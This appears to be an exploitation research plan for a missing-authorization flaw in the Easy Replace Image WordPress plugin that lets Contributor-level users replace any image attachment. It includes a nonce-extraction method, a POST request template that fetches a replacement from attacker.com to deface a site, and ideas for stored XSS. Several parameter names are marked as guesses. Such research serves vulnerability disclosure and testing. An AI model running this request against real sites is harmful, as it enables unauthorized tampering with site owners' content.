Exploitation Research Plan: CVE-2026-1298 (Easy Replace Image)

1. Vulnerability Summary

The Easy Replace Image plugin for WordPress (versions <= 3.5.2) contains a missing authorization vulnerability in its AJAX handler for image replacement. The function image_replacement_from_url is registered to the eri_from_url AJAX action. While WordPress requires a user to be authenticated to trigger wp_ajax_* hooks, the plugin fails to perform specific capability checks (e.g., current_user_can('edit_post', $attachment_id)) within the handler. This allows any authenticated user with at least Contributor-level access to replace the file associated with any existing attachment ID with an image from an arbitrary external URL.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: eri_from_url
• HTTP Method: POST
• Parameters (Inferred):
  • action: eri_from_url
  • attachment_id or id: The ID of the target image attachment (Inferred).
  • url or image_url: The URL of the replacement image (Inferred).
  • nonce or security: A WordPress nonce for the action (Inferred).
• Authentication: Authenticated (Contributor level or higher).
• Preconditions: The attacker must know the ID of an existing attachment to replace.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers the AJAX hook during initialization:
   add_action('wp_ajax_eri_from_url', 'image_replacement_from_url');
2. Missing Check: The image_replacement_from_url function starts processing. It likely performs a nonce check using check_ajax_referer or wp_verify_nonce, but it omits any check like current_user_can('upload_files') or current_user_can('edit_post', $post_id).
3. Data Acquisition: The function retrieves the external url and target attachment_id from the $_POST superglobal.
4. Download & Replace:
   • It likely uses download_url() or wp_remote_get() to fetch the external image.
   • It identifies the local path of the current attachment using get_attached_file($attachment_id).
   • It overwrites the existing file on the filesystem with the newly downloaded content or updates the _wp_attached_file metadata.
5. Sink: The file system write operation or database update that modifies the attachment.

4. Nonce Acquisition Strategy

The plugin likely enqueues its scripts and localizes a nonce on the media library or post edit pages. Since Contributors can access the WordPress dashboard and potentially the Media Library (depending on specific site lockdown), they can extract the nonce.

1. Shortcode/Page Identification: The plugin's logic for replacing images is typically found in the Media Library or Attachment edit screens.
2. Detection: Search the plugin source for wp_localize_script. Look for a handle like eri-script or easy-replace-image.
3. JS Variable (Inferred): Look for keys like eri_ajax_nonce or nonce within the localized object.
4. Extraction Plan:
   • Log in as a Contributor.
   • Navigate to the Media Library: /wp-admin/upload.php.
   • Use browser_eval to find the localized object:
     browser_eval("window.eri_params?.nonce || window.eri_obj?.security") (Inferred identifiers).
   • If not in the Media Library, check the "Edit Media" page for a specific attachment: /wp-admin/post.php?post=ATTACHMENT_ID&action=edit.

5. Exploitation Strategy

1. Setup: Log in as a Contributor user.
2. Identify Target: Find an image uploaded by an administrator (e.g., Attachment ID 10).
3. Obtain Nonce: Extract the nonce using the strategy in Section 4.
4. Execute Attack: Send a POST request to admin-ajax.php to replace the admin's image.

Request Template:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=eri_from_url&nonce=[NONCE]&attachment_id=10&url=https://attacker.com/defacement.png

(Note: Parameter names like attachment_id and url must be verified against the source code once available).

6. Test Data Setup

1. Admin Content: An Admin user uploads an image named original.jpg. Note its Attachment ID.
2. Attacker Account: Create a user with the contributor role.
3. External Source: Identify a public image URL to use as the replacement (e.g., a simple color block).

7. Expected Results

• The AJAX response should return a success status (e.g., JSON {"success": true}).
• When viewing the attachment in the WordPress Media Library, the original image (original.jpg) should be replaced by the image from the attacker's URL.
• The file on the server's disk (e.g., wp-content/uploads/YYYY/MM/original.jpg) will now contain the data from the external URL.

8. Verification Steps

1. WP-CLI Path Check:
   wp post get [ID] --field=guid (This shows the URL).
2. WP-CLI Meta Check:
   wp post meta get [ID] _wp_attached_file
3. Content Verification:
   Download the file at the path returned by get_attached_file and compare its hash to the source image from the external URL.

   # Get local path
   FILE_PATH=$(wp eval "echo get_attached_file([ID]);")
   # Check if file content matches attacker's image
   md5sum $FILE_PATH
   

9. Alternative Approaches

• Different Parameters: If attachment_id doesn't work, the plugin might use post_id or simply id.
• Direct Metadata Modification: Check if the plugin allows replacing other metadata if the payload allows for arbitrary parameter injection into update_post_meta.
• Phishing/XSS: If the replacement URL is not properly sanitized and later output in the admin panel, this could lead to Stored XSS.